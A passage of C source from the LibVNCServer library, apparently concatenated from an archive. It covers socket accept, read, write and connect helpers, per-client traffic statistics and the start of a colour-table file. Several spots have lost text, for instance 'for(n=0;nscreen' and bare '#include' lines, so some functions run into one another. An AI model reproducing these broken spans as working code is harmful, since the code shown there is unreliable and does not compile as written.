them has, so this should not block for too long! */ FD_ZERO(&listen_fds); if(rfbScreen->listenSock >= 0) FD_SET(rfbScreen->listenSock, &listen_fds); if(rfbScreen->listen6Sock >= 0) FD_SET(rfbScreen->listen6Sock, &listen_fds); if (select(rfbScreen->maxFd+1, &listen_fds, NULL, NULL, NULL) == -1) { rfbLogPerror("rfbProcessNewConnection: error in select"); return FALSE; } if (rfbScreen->listenSock >= 0 && FD_ISSET(rfbScreen->listenSock, &listen_fds)) chosen_listen_sock = rfbScreen->listenSock; if (rfbScreen->listen6Sock >= 0 && FD_ISSET(rfbScreen->listen6Sock, &listen_fds)) chosen_listen_sock = rfbScreen->listen6Sock; if ((sock = accept(chosen_listen_sock, NULL, NULL)) < 0) { rfbLogPerror("rfbCheckFds: accept"); return FALSE; } return rfbNewConnectionFromSock(rfbScreen, sock); } void rfbDisconnectUDPSock(rfbScreenInfoPtr rfbScreen) { rfbScreen->udpSockConnected = FALSE; } void rfbCloseClient(rfbClientPtr cl) { rfbExtensionData* extension; for(extension=cl->extensions; extension; extension=extension->next) if(extension->extension->close) extension->extension->close(cl, extension->data); LOCK(cl->updateMutex); #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if (cl->sock != -1) #endif { FD_CLR(cl->sock,&(cl->screen->allFds)); if(cl->sock==cl->screen->maxFd) while(cl->screen->maxFd>0 && !FD_ISSET(cl->screen->maxFd,&(cl->screen->allFds))) cl->screen->maxFd--; #ifdef LIBVNCSERVER_WITH_WEBSOCKETS if (cl->sslctx) rfbssl_destroy(cl); free(cl->wspath); #endif #ifndef __MINGW32__ shutdown(cl->sock,SHUT_RDWR); #endif closesocket(cl->sock); cl->sock = -1; } TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); } /* * rfbConnect is called to make a connection out to a given TCP address. */ int rfbConnect(rfbScreenInfoPtr rfbScreen, char *host, int port) { int sock; int one = 1; rfbLog("Making connection to client on host %s port %d\n", host,port); if ((sock = rfbConnectToTcpAddr(host, port)) < 0) { rfbLogPerror("connection failed"); return -1; } if(!rfbSetNonBlocking(sock)) { closesocket(sock); return -1; } if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) { rfbLogPerror("setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?"); } /* AddEnabledDevice(sock); */ FD_SET(sock, &rfbScreen->allFds); rfbScreen->maxFd = rfbMax(sock,rfbScreen->maxFd); return sock; } /* * ReadExact reads an exact number of bytes from a client. Returns 1 if * those bytes have been read, 0 if the other end has closed, or -1 if an error * occurred (errno is set to ETIMEDOUT if it timed out). */ int rfbReadExactTimeout(rfbClientPtr cl, char* buf, int len, int timeout) { int sock = cl->sock; int n; fd_set fds; struct timeval tv; while (len > 0) { #ifdef LIBVNCSERVER_WITH_WEBSOCKETS if (cl->wsctx) { n = webSocketsDecode(cl, buf, len); } else if (cl->sslctx) { n = rfbssl_read(cl, buf, len); } else { n = read(sock, buf, len); } #else n = read(sock, buf, len); #endif if (n > 0) { buf += n; len -= n; } else if (n == 0) { return 0; } else { #ifdef WIN32 errno = WSAGetLastError(); #endif if (errno == EINTR) continue; #ifdef LIBVNCSERVER_ENOENT_WORKAROUND if (errno != ENOENT) #endif if (errno != EWOULDBLOCK && errno != EAGAIN) { return n; } #ifdef LIBVNCSERVER_WITH_WEBSOCKETS if (cl->sslctx) { if (rfbssl_pending(cl)) continue; } #endif FD_ZERO(&fds); FD_SET(sock, &fds); tv.tv_sec = timeout / 1000; tv.tv_usec = (timeout % 1000) * 1000; n = select(sock+1, &fds, NULL, &fds, &tv); if (n < 0) { rfbLogPerror("ReadExact: select"); return n; } if (n == 0) { rfbErr("ReadExact: select timeout\n"); errno = ETIMEDOUT; return -1; } } } #undef DEBUG_READ_EXACT #ifdef DEBUG_READ_EXACT rfbLog("ReadExact %d bytes\n",len); for(n=0;nscreen && cl->screen->maxClientWait) return(rfbReadExactTimeout(cl,buf,len,cl->screen->maxClientWait)); else return(rfbReadExactTimeout(cl,buf,len,rfbMaxClientWait)); } /* * PeekExact peeks at an exact number of bytes from a client. Returns 1 if * those bytes have been read, 0 if the other end has closed, or -1 if an * error occurred (errno is set to ETIMEDOUT if it timed out). */ int rfbPeekExactTimeout(rfbClientPtr cl, char* buf, int len, int timeout) { int sock = cl->sock; int n; fd_set fds; struct timeval tv; while (len > 0) { #ifdef LIBVNCSERVER_WITH_WEBSOCKETS if (cl->sslctx) n = rfbssl_peek(cl, buf, len); else #endif n = recv(sock, buf, len, MSG_PEEK); if (n == len) { break; } else if (n == 0) { return 0; } else { #ifdef WIN32 errno = WSAGetLastError(); #endif if (errno == EINTR) continue; #ifdef LIBVNCSERVER_ENOENT_WORKAROUND if (errno != ENOENT) #endif if (errno != EWOULDBLOCK && errno != EAGAIN) { return n; } #ifdef LIBVNCSERVER_WITH_WEBSOCKETS if (cl->sslctx) { if (rfbssl_pending(cl)) continue; } #endif FD_ZERO(&fds); FD_SET(sock, &fds); tv.tv_sec = timeout / 1000; tv.tv_usec = (timeout % 1000) * 1000; n = select(sock+1, &fds, NULL, &fds, &tv); if (n < 0) { rfbLogPerror("PeekExact: select"); return n; } if (n == 0) { errno = ETIMEDOUT; return -1; } } } #undef DEBUG_READ_EXACT #ifdef DEBUG_READ_EXACT rfbLog("PeekExact %d bytes\n",len); for(n=0;nsock; int n; fd_set fds; struct timeval tv; int totalTimeWaited = 0; const int timeout = (cl->screen && cl->screen->maxClientWait) ? cl->screen->maxClientWait : rfbMaxClientWait; #undef DEBUG_WRITE_EXACT #ifdef DEBUG_WRITE_EXACT rfbLog("WriteExact %d bytes\n",len); for(n=0;nwsctx) { char *tmp = NULL; if ((len = webSocketsEncode(cl, buf, len, &tmp)) < 0) { rfbErr("WriteExact: WebSockets encode error\n"); return -1; } buf = tmp; } #endif LOCK(cl->outputMutex); while (len > 0) { #ifdef LIBVNCSERVER_WITH_WEBSOCKETS if (cl->sslctx) n = rfbssl_write(cl, buf, len); else #endif n = write(sock, buf, len); if (n > 0) { buf += n; len -= n; } else if (n == 0) { rfbErr("WriteExact: write returned 0?\n"); return 0; } else { #ifdef WIN32 errno = WSAGetLastError(); #endif if (errno == EINTR) continue; if (errno != EWOULDBLOCK && errno != EAGAIN) { UNLOCK(cl->outputMutex); return n; } /* Retry every 5 seconds until we exceed timeout. We need to do this because select doesn't necessarily return immediately when the other end has gone away */ FD_ZERO(&fds); FD_SET(sock, &fds); tv.tv_sec = 5; tv.tv_usec = 0; n = select(sock+1, NULL, &fds, NULL /* &fds */, &tv); if (n < 0) { #ifdef WIN32 errno=WSAGetLastError(); #endif if(errno==EINTR) continue; rfbLogPerror("WriteExact: select"); UNLOCK(cl->outputMutex); return n; } if (n == 0) { totalTimeWaited += 5000; if (totalTimeWaited >= timeout) { errno = ETIMEDOUT; UNLOCK(cl->outputMutex); return -1; } } else { totalTimeWaited = 0; } } } UNLOCK(cl->outputMutex); return 1; } /* currently private, called by rfbProcessArguments() */ int rfbStringToAddr(char *str, in_addr_t *addr) { if (str == NULL || *str == '\0' || strcmp(str, "any") == 0) { *addr = htonl(INADDR_ANY); } else if (strcmp(str, "localhost") == 0) { *addr = htonl(INADDR_LOOPBACK); } else { struct hostent *hp; if ((*addr = inet_addr(str)) == htonl(INADDR_NONE)) { if (!(hp = gethostbyname(str))) { return 0; } *addr = *(unsigned long *)hp->h_addr; } } return 1; } int rfbListenOnTCPPort(int port, in_addr_t iface) { struct sockaddr_in addr; int sock; int one = 1; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = iface; if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { return -1; } if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&one, sizeof(one)) < 0) { closesocket(sock); return -1; } if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { closesocket(sock); return -1; } if (listen(sock, 32) < 0) { closesocket(sock); return -1; } return sock; } int rfbListenOnTCP6Port(int port, const char* iface) { #ifndef LIBVNCSERVER_IPv6 rfbLogPerror("This LibVNCServer does not have IPv6 support"); return -1; #else int sock; int one = 1; int rv; struct addrinfo hints, *servinfo, *p; char port_str[8]; snprintf(port_str, 8, "%d", port); memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET6; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; /* fill in wildcard address if iface == NULL */ if ((rv = getaddrinfo(iface, port_str, &hints, &servinfo)) != 0) { rfbErr("rfbListenOnTCP6Port error in getaddrinfo: %s\n", gai_strerror(rv)); return -1; } /* loop through all the results and bind to the first we can */ for(p = servinfo; p != NULL; p = p->ai_next) { if ((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0) { continue; } #ifdef IPV6_V6ONLY /* we have separate IPv4 and IPv6 sockets since some OS's do not support dual binding */ if (setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, (char *)&one, sizeof(one)) < 0) { rfbLogPerror("rfbListenOnTCP6Port error in setsockopt IPV6_V6ONLY"); closesocket(sock); freeaddrinfo(servinfo); return -1; } #endif if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&one, sizeof(one)) < 0) { rfbLogPerror("rfbListenOnTCP6Port: error in setsockopt SO_REUSEADDR"); closesocket(sock); freeaddrinfo(servinfo); return -1; } if (bind(sock, p->ai_addr, p->ai_addrlen) < 0) { closesocket(sock); continue; } break; } if (p == NULL) { rfbLogPerror("rfbListenOnTCP6Port: error in bind IPv6 socket"); freeaddrinfo(servinfo); return -1; } /* all done with this structure now */ freeaddrinfo(servinfo); if (listen(sock, 32) < 0) { rfbLogPerror("rfbListenOnTCP6Port: error in listen on IPv6 socket"); closesocket(sock); return -1; } return sock; #endif } int rfbConnectToTcpAddr(char *host, int port) { int sock; #ifdef LIBVNCSERVER_IPv6 struct addrinfo hints, *servinfo, *p; int rv; char port_str[8]; snprintf(port_str, 8, "%d", port); memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; if ((rv = getaddrinfo(host, port_str, &hints, &servinfo)) != 0) { rfbErr("rfbConnectToTcpAddr: error in getaddrinfo: %s\n", gai_strerror(rv)); return -1; } /* loop through all the results and connect to the first we can */ for(p = servinfo; p != NULL; p = p->ai_next) { if ((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0) continue; if (connect(sock, p->ai_addr, p->ai_addrlen) < 0) { closesocket(sock); continue; } break; } /* all failed */ if (p == NULL) { rfbLogPerror("rfbConnectToTcoAddr: failed to connect\n"); sock = -1; /* set return value */ } /* all done with this structure now */ freeaddrinfo(servinfo); #else struct hostent *hp; struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(port); if ((addr.sin_addr.s_addr = inet_addr(host)) == htonl(INADDR_NONE)) { if (!(hp = gethostbyname(host))) { errno = EINVAL; return -1; } addr.sin_addr.s_addr = *(unsigned long *)hp->h_addr; } if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { return -1; } if (connect(sock, (struct sockaddr *)&addr, (sizeof(addr))) < 0) { closesocket(sock); return -1; } #endif return sock; } int rfbListenOnUDPPort(int port, in_addr_t iface) { struct sockaddr_in addr; int sock; int one = 1; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = iface; if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { return -1; } if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&one, sizeof(one)) < 0) { return -1; } if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { return -1; } return sock; } /* * rfbSetNonBlocking sets a socket into non-blocking mode. */ rfbBool rfbSetNonBlocking(int sock) { #ifdef WIN32 unsigned long block=1; if(ioctlsocket(sock, FIONBIO, &block) == SOCKET_ERROR) { errno=WSAGetLastError(); #else int flags = fcntl(sock, F_GETFL); if(flags < 0 || fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) { #endif rfbLogPerror("Setting socket to non-blocking failed"); return FALSE; } return TRUE; } libvncserver-LibVNCServer-0.9.11/libvncserver/stats.c000066400000000000000000000424511303145525000225620ustar00rootroot00000000000000/* * stats.c */ /* * Copyright (C) 2002 RealVNC Ltd. * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include #ifdef _MSC_VER #define snprintf _snprintf /* Missing in MSVC */ #endif char *messageNameServer2Client(uint32_t type, char *buf, int len); char *messageNameClient2Server(uint32_t type, char *buf, int len); char *encodingName(uint32_t enc, char *buf, int len); rfbStatList *rfbStatLookupEncoding(rfbClientPtr cl, uint32_t type); rfbStatList *rfbStatLookupMessage(rfbClientPtr cl, uint32_t type); void rfbStatRecordEncodingSent(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); void rfbStatRecordEncodingRcvd(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); void rfbStatRecordMessageSent(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); void rfbStatRecordMessageRcvd(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); void rfbResetStats(rfbClientPtr cl); void rfbPrintStats(rfbClientPtr cl); char *messageNameServer2Client(uint32_t type, char *buf, int len) { if (buf==NULL) return "error"; switch (type) { case rfbFramebufferUpdate: snprintf(buf, len, "FramebufferUpdate"); break; case rfbSetColourMapEntries: snprintf(buf, len, "SetColourMapEntries"); break; case rfbBell: snprintf(buf, len, "Bell"); break; case rfbServerCutText: snprintf(buf, len, "ServerCutText"); break; case rfbResizeFrameBuffer: snprintf(buf, len, "ResizeFrameBuffer"); break; case rfbFileTransfer: snprintf(buf, len, "FileTransfer"); break; case rfbTextChat: snprintf(buf, len, "TextChat"); break; case rfbPalmVNCReSizeFrameBuffer: snprintf(buf, len, "PalmVNCReSize"); break; case rfbXvp: snprintf(buf, len, "XvpServerMessage"); break; default: snprintf(buf, len, "svr2cli-0x%08X", 0xFF); } return buf; } char *messageNameClient2Server(uint32_t type, char *buf, int len) { if (buf==NULL) return "error"; switch (type) { case rfbSetPixelFormat: snprintf(buf, len, "SetPixelFormat"); break; case rfbFixColourMapEntries: snprintf(buf, len, "FixColourMapEntries"); break; case rfbSetEncodings: snprintf(buf, len, "SetEncodings"); break; case rfbFramebufferUpdateRequest: snprintf(buf, len, "FramebufferUpdate"); break; case rfbKeyEvent: snprintf(buf, len, "KeyEvent"); break; case rfbPointerEvent: snprintf(buf, len, "PointerEvent"); break; case rfbClientCutText: snprintf(buf, len, "ClientCutText"); break; case rfbFileTransfer: snprintf(buf, len, "FileTransfer"); break; case rfbSetScale: snprintf(buf, len, "SetScale"); break; case rfbSetServerInput: snprintf(buf, len, "SetServerInput"); break; case rfbSetSW: snprintf(buf, len, "SetSingleWindow"); break; case rfbTextChat: snprintf(buf, len, "TextChat"); break; case rfbPalmVNCSetScaleFactor: snprintf(buf, len, "PalmVNCSetScale"); break; case rfbXvp: snprintf(buf, len, "XvpClientMessage"); break; default: snprintf(buf, len, "cli2svr-0x%08X", type); } return buf; } /* Encoding name must be <=16 characters to fit nicely on the status output in * an 80 column terminal window */ char *encodingName(uint32_t type, char *buf, int len) { if (buf==NULL) return "error"; switch (type) { case rfbEncodingRaw: snprintf(buf, len, "raw"); break; case rfbEncodingCopyRect: snprintf(buf, len, "copyRect"); break; case rfbEncodingRRE: snprintf(buf, len, "RRE"); break; case rfbEncodingCoRRE: snprintf(buf, len, "CoRRE"); break; case rfbEncodingHextile: snprintf(buf, len, "hextile"); break; case rfbEncodingZlib: snprintf(buf, len, "zlib"); break; case rfbEncodingTight: snprintf(buf, len, "tight"); break; case rfbEncodingTightPng: snprintf(buf, len, "tightPng"); break; case rfbEncodingZlibHex: snprintf(buf, len, "zlibhex"); break; case rfbEncodingUltra: snprintf(buf, len, "ultra"); break; case rfbEncodingZRLE: snprintf(buf, len, "ZRLE"); break; case rfbEncodingZYWRLE: snprintf(buf, len, "ZYWRLE"); break; case rfbEncodingCache: snprintf(buf, len, "cache"); break; case rfbEncodingCacheEnable: snprintf(buf, len, "cacheEnable"); break; case rfbEncodingXOR_Zlib: snprintf(buf, len, "xorZlib"); break; case rfbEncodingXORMonoColor_Zlib: snprintf(buf, len, "xorMonoZlib"); break; case rfbEncodingXORMultiColor_Zlib: snprintf(buf, len, "xorColorZlib"); break; case rfbEncodingSolidColor: snprintf(buf, len, "solidColor"); break; case rfbEncodingXOREnable: snprintf(buf, len, "xorEnable"); break; case rfbEncodingCacheZip: snprintf(buf, len, "cacheZip"); break; case rfbEncodingSolMonoZip: snprintf(buf, len, "monoZip"); break; case rfbEncodingUltraZip: snprintf(buf, len, "ultraZip"); break; case rfbEncodingXCursor: snprintf(buf, len, "Xcursor"); break; case rfbEncodingRichCursor: snprintf(buf, len, "RichCursor"); break; case rfbEncodingPointerPos: snprintf(buf, len, "PointerPos"); break; case rfbEncodingLastRect: snprintf(buf, len, "LastRect"); break; case rfbEncodingNewFBSize: snprintf(buf, len, "NewFBSize"); break; case rfbEncodingKeyboardLedState: snprintf(buf, len, "LedState"); break; case rfbEncodingSupportedMessages: snprintf(buf, len, "SupportedMessage"); break; case rfbEncodingSupportedEncodings: snprintf(buf, len, "SupportedEncoding"); break; case rfbEncodingServerIdentity: snprintf(buf, len, "ServerIdentify"); break; /* The following lookups do not report in stats */ case rfbEncodingCompressLevel0: snprintf(buf, len, "CompressLevel0"); break; case rfbEncodingCompressLevel1: snprintf(buf, len, "CompressLevel1"); break; case rfbEncodingCompressLevel2: snprintf(buf, len, "CompressLevel2"); break; case rfbEncodingCompressLevel3: snprintf(buf, len, "CompressLevel3"); break; case rfbEncodingCompressLevel4: snprintf(buf, len, "CompressLevel4"); break; case rfbEncodingCompressLevel5: snprintf(buf, len, "CompressLevel5"); break; case rfbEncodingCompressLevel6: snprintf(buf, len, "CompressLevel6"); break; case rfbEncodingCompressLevel7: snprintf(buf, len, "CompressLevel7"); break; case rfbEncodingCompressLevel8: snprintf(buf, len, "CompressLevel8"); break; case rfbEncodingCompressLevel9: snprintf(buf, len, "CompressLevel9"); break; case rfbEncodingQualityLevel0: snprintf(buf, len, "QualityLevel0"); break; case rfbEncodingQualityLevel1: snprintf(buf, len, "QualityLevel1"); break; case rfbEncodingQualityLevel2: snprintf(buf, len, "QualityLevel2"); break; case rfbEncodingQualityLevel3: snprintf(buf, len, "QualityLevel3"); break; case rfbEncodingQualityLevel4: snprintf(buf, len, "QualityLevel4"); break; case rfbEncodingQualityLevel5: snprintf(buf, len, "QualityLevel5"); break; case rfbEncodingQualityLevel6: snprintf(buf, len, "QualityLevel6"); break; case rfbEncodingQualityLevel7: snprintf(buf, len, "QualityLevel7"); break; case rfbEncodingQualityLevel8: snprintf(buf, len, "QualityLevel8"); break; case rfbEncodingQualityLevel9: snprintf(buf, len, "QualityLevel9"); break; default: snprintf(buf, len, "Enc(0x%08X)", type); } return buf; } rfbStatList *rfbStatLookupEncoding(rfbClientPtr cl, uint32_t type) { rfbStatList *ptr; if (cl==NULL) return NULL; for (ptr = cl->statEncList; ptr!=NULL; ptr=ptr->Next) { if (ptr->type==type) return ptr; } /* Well, we are here... need to *CREATE* an entry */ ptr = (rfbStatList *)malloc(sizeof(rfbStatList)); if (ptr!=NULL) { memset((char *)ptr, 0, sizeof(rfbStatList)); ptr->type = type; /* add to the top of the list */ ptr->Next = cl->statEncList; cl->statEncList = ptr; } return ptr; } rfbStatList *rfbStatLookupMessage(rfbClientPtr cl, uint32_t type) { rfbStatList *ptr; if (cl==NULL) return NULL; for (ptr = cl->statMsgList; ptr!=NULL; ptr=ptr->Next) { if (ptr->type==type) return ptr; } /* Well, we are here... need to *CREATE* an entry */ ptr = (rfbStatList *)malloc(sizeof(rfbStatList)); if (ptr!=NULL) { memset((char *)ptr, 0, sizeof(rfbStatList)); ptr->type = type; /* add to the top of the list */ ptr->Next = cl->statMsgList; cl->statMsgList = ptr; } return ptr; } void rfbStatRecordEncodingSentAdd(rfbClientPtr cl, uint32_t type, int byteCount) /* Specifically for tight encoding */ { rfbStatList *ptr; ptr = rfbStatLookupEncoding(cl, type); if (ptr!=NULL) ptr->bytesSent += byteCount; } void rfbStatRecordEncodingSent(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw) { rfbStatList *ptr; ptr = rfbStatLookupEncoding(cl, type); if (ptr!=NULL) { ptr->sentCount++; ptr->bytesSent += byteCount; ptr->bytesSentIfRaw += byteIfRaw; } } void rfbStatRecordEncodingRcvd(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw) { rfbStatList *ptr; ptr = rfbStatLookupEncoding(cl, type); if (ptr!=NULL) { ptr->rcvdCount++; ptr->bytesRcvd += byteCount; ptr->bytesRcvdIfRaw += byteIfRaw; } } void rfbStatRecordMessageSent(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw) { rfbStatList *ptr; ptr = rfbStatLookupMessage(cl, type); if (ptr!=NULL) { ptr->sentCount++; ptr->bytesSent += byteCount; ptr->bytesSentIfRaw += byteIfRaw; } } void rfbStatRecordMessageRcvd(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw) { rfbStatList *ptr; ptr = rfbStatLookupMessage(cl, type); if (ptr!=NULL) { ptr->rcvdCount++; ptr->bytesRcvd += byteCount; ptr->bytesRcvdIfRaw += byteIfRaw; } } int rfbStatGetSentBytes(rfbClientPtr cl) { rfbStatList *ptr=NULL; int bytes=0; if (cl==NULL) return 0; for (ptr = cl->statMsgList; ptr!=NULL; ptr=ptr->Next) bytes += ptr->bytesSent; for (ptr = cl->statEncList; ptr!=NULL; ptr=ptr->Next) bytes += ptr->bytesSent; return bytes; } int rfbStatGetSentBytesIfRaw(rfbClientPtr cl) { rfbStatList *ptr=NULL; int bytes=0; if (cl==NULL) return 0; for (ptr = cl->statMsgList; ptr!=NULL; ptr=ptr->Next) bytes += ptr->bytesSentIfRaw; for (ptr = cl->statEncList; ptr!=NULL; ptr=ptr->Next) bytes += ptr->bytesSentIfRaw; return bytes; } int rfbStatGetRcvdBytes(rfbClientPtr cl) { rfbStatList *ptr=NULL; int bytes=0; if (cl==NULL) return 0; for (ptr = cl->statMsgList; ptr!=NULL; ptr=ptr->Next) bytes += ptr->bytesRcvd; for (ptr = cl->statEncList; ptr!=NULL; ptr=ptr->Next) bytes += ptr->bytesRcvd; return bytes; } int rfbStatGetRcvdBytesIfRaw(rfbClientPtr cl) { rfbStatList *ptr=NULL; int bytes=0; if (cl==NULL) return 0; for (ptr = cl->statMsgList; ptr!=NULL; ptr=ptr->Next) bytes += ptr->bytesRcvdIfRaw; for (ptr = cl->statEncList; ptr!=NULL; ptr=ptr->Next) bytes += ptr->bytesRcvdIfRaw; return bytes; } int rfbStatGetMessageCountSent(rfbClientPtr cl, uint32_t type) { rfbStatList *ptr=NULL; if (cl==NULL) return 0; for (ptr = cl->statMsgList; ptr!=NULL; ptr=ptr->Next) if (ptr->type==type) return ptr->sentCount; return 0; } int rfbStatGetMessageCountRcvd(rfbClientPtr cl, uint32_t type) { rfbStatList *ptr=NULL; if (cl==NULL) return 0; for (ptr = cl->statMsgList; ptr!=NULL; ptr=ptr->Next) if (ptr->type==type) return ptr->rcvdCount; return 0; } int rfbStatGetEncodingCountSent(rfbClientPtr cl, uint32_t type) { rfbStatList *ptr=NULL; if (cl==NULL) return 0; for (ptr = cl->statEncList; ptr!=NULL; ptr=ptr->Next) if (ptr->type==type) return ptr->sentCount; return 0; } int rfbStatGetEncodingCountRcvd(rfbClientPtr cl, uint32_t type) { rfbStatList *ptr=NULL; if (cl==NULL) return 0; for (ptr = cl->statEncList; ptr!=NULL; ptr=ptr->Next) if (ptr->type==type) return ptr->rcvdCount; return 0; } void rfbResetStats(rfbClientPtr cl) { rfbStatList *ptr; if (cl==NULL) return; while (cl->statEncList!=NULL) { ptr = cl->statEncList; cl->statEncList = ptr->Next; free(ptr); } while (cl->statMsgList!=NULL) { ptr = cl->statMsgList; cl->statMsgList = ptr->Next; free(ptr); } } void rfbPrintStats(rfbClientPtr cl) { rfbStatList *ptr=NULL; char encBuf[64]; double savings=0.0; int totalRects=0; double totalBytes=0.0; double totalBytesIfRaw=0.0; char *name=NULL; int bytes=0; int bytesIfRaw=0; int count=0; if (cl==NULL) return; rfbLog("%-21.21s %-6.6s %9.9s/%9.9s (%6.6s)\n", "Statistics", "events", "Transmit","RawEquiv","saved"); for (ptr = cl->statMsgList; ptr!=NULL; ptr=ptr->Next) { name = messageNameServer2Client(ptr->type, encBuf, sizeof(encBuf)); count = ptr->sentCount; bytes = ptr->bytesSent; bytesIfRaw = ptr->bytesSentIfRaw; savings = 0.0; if (bytesIfRaw>0.0) savings = 100.0 - (((double)bytes / (double)bytesIfRaw) * 100.0); if ((bytes>0) || (count>0) || (bytesIfRaw>0)) rfbLog(" %-20.20s: %6d | %9d/%9d (%5.1f%%)\n", name, count, bytes, bytesIfRaw, savings); totalRects += count; totalBytes += bytes; totalBytesIfRaw += bytesIfRaw; } for (ptr = cl->statEncList; ptr!=NULL; ptr=ptr->Next) { name = encodingName(ptr->type, encBuf, sizeof(encBuf)); count = ptr->sentCount; bytes = ptr->bytesSent; bytesIfRaw = ptr->bytesSentIfRaw; savings = 0.0; if (bytesIfRaw>0.0) savings = 100.0 - (((double)bytes / (double)bytesIfRaw) * 100.0); if ((bytes>0) || (count>0) || (bytesIfRaw>0)) rfbLog(" %-20.20s: %6d | %9d/%9d (%5.1f%%)\n", name, count, bytes, bytesIfRaw, savings); totalRects += count; totalBytes += bytes; totalBytesIfRaw += bytesIfRaw; } savings=0.0; if (totalBytesIfRaw>0.0) savings = 100.0 - ((totalBytes/totalBytesIfRaw)*100.0); rfbLog(" %-20.20s: %6d | %9.0f/%9.0f (%5.1f%%)\n", "TOTALS", totalRects, totalBytes,totalBytesIfRaw, savings); totalRects=0.0; totalBytes=0.0; totalBytesIfRaw=0.0; rfbLog("%-21.21s %-6.6s %9.9s/%9.9s (%6.6s)\n", "Statistics", "events", "Received","RawEquiv","saved"); for (ptr = cl->statMsgList; ptr!=NULL; ptr=ptr->Next) { name = messageNameClient2Server(ptr->type, encBuf, sizeof(encBuf)); count = ptr->rcvdCount; bytes = ptr->bytesRcvd; bytesIfRaw = ptr->bytesRcvdIfRaw; savings = 0.0; if (bytesIfRaw>0.0) savings = 100.0 - (((double)bytes / (double)bytesIfRaw) * 100.0); if ((bytes>0) || (count>0) || (bytesIfRaw>0)) rfbLog(" %-20.20s: %6d | %9d/%9d (%5.1f%%)\n", name, count, bytes, bytesIfRaw, savings); totalRects += count; totalBytes += bytes; totalBytesIfRaw += bytesIfRaw; } for (ptr = cl->statEncList; ptr!=NULL; ptr=ptr->Next) { name = encodingName(ptr->type, encBuf, sizeof(encBuf)); count = ptr->rcvdCount; bytes = ptr->bytesRcvd; bytesIfRaw = ptr->bytesRcvdIfRaw; savings = 0.0; if (bytesIfRaw>0.0) savings = 100.0 - (((double)bytes / (double)bytesIfRaw) * 100.0); if ((bytes>0) || (count>0) || (bytesIfRaw>0)) rfbLog(" %-20.20s: %6d | %9d/%9d (%5.1f%%)\n", name, count, bytes, bytesIfRaw, savings); totalRects += count; totalBytes += bytes; totalBytesIfRaw += bytesIfRaw; } savings=0.0; if (totalBytesIfRaw>0.0) savings = 100.0 - ((totalBytes/totalBytesIfRaw)*100.0); rfbLog(" %-20.20s: %6d | %9.0f/%9.0f (%5.1f%%)\n", "TOTALS", totalRects, totalBytes,totalBytesIfRaw, savings); } libvncserver-LibVNCServer-0.9.11/libvncserver/tableinit24.c000066400000000000000000000116511303145525000235430ustar00rootroot00000000000000/* 24 bit */ /* * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ static void rfbInitOneRGBTable24 (uint8_t *table, int inMax, int outMax, int outShift,int swap); static void rfbInitColourMapSingleTable24(char **table, rfbPixelFormat *in, rfbPixelFormat *out,rfbColourMap* colourMap) { uint32_t i, r, g, b, outValue; uint8_t *t; uint8_t c; unsigned int nEntries = 1 << in->bitsPerPixel; int shift = colourMap->is16?16:8; if (*table) free(*table); *table = (char *)malloc(nEntries * 3 + 1); t = (uint8_t *)*table; for (i = 0; i < nEntries; i++) { r = g = b = 0; if(i < colourMap->count) { if(colourMap->is16) { r = colourMap->data.shorts[3*i+0]; g = colourMap->data.shorts[3*i+1]; b = colourMap->data.shorts[3*i+2]; } else { r = colourMap->data.bytes[3*i+0]; g = colourMap->data.bytes[3*i+1]; b = colourMap->data.bytes[3*i+2]; } } 